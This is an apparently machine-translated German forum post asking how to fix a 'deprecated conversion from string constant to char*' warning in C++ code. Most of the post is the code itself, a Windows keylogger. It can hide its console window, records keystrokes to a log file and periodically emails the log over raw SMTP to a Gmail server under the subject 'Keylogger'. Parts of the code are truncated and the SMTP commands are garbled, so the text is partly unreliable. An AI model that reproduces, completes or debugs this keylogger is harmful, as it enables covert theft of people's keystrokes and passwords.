Syntaxproblem in meinem C ++ - Code: veraltete Konvertierung von String -Konstante zu 'char*'C++

Programme in C++. Entwicklerforum
Anonymous
 Syntaxproblem in meinem C ++ - Code: veraltete Konvertierung von String -Konstante zu 'char*'

Post by Anonymous »

Ich habe einen Code in C ++ erstellt, aber ich verwende eine IDE namens Dev-C ++ und er präsentiert einen Kompilierungsfehler: < /p>
[WARNUNG] veraltete Umwandlung von String-Konstante in 'char' [-wwrite-STRINGS] < /p>
Die Fehlerpunkte in den Zustand in den Zustand.

Code: Select all

if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
Mein Code ist unten und auch nach dem Link: https://godbolt.org/zqgczs

Code: Select all

#include 
#include 
#include 

#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}

void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");

fputc(pressedKey, file);
fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;

for(int character = ASCIIValue1; character  LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);

if(fileLength >  0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

overrideFile(FILE_NAME);
}

now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}

return 0;
}

void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);

if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;

char data[3000];

// Get socket and dest:
WSAStartup(0x202, &wsaData);

host = gethostbyname(server);

memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);

sock = socket(AF_INET, SOCK_STREAM, 0);

connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);

sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);

sprintf(data, "Email de: \n", from);
sendData(sock, data);

sprintf(data, "recebido por: \n", to);
sendData(sock, data);

sprintf(data, "DATA\n");
sendData(sock, data);

sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);

sprintf(data, "sair\n");
sendData(sock, data);

if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}

closesocket(sock);
WSACleanup();
}

Quick Reply

Change Text Case: 
   
  • Similar Topics
    Replies
    Views
    Last post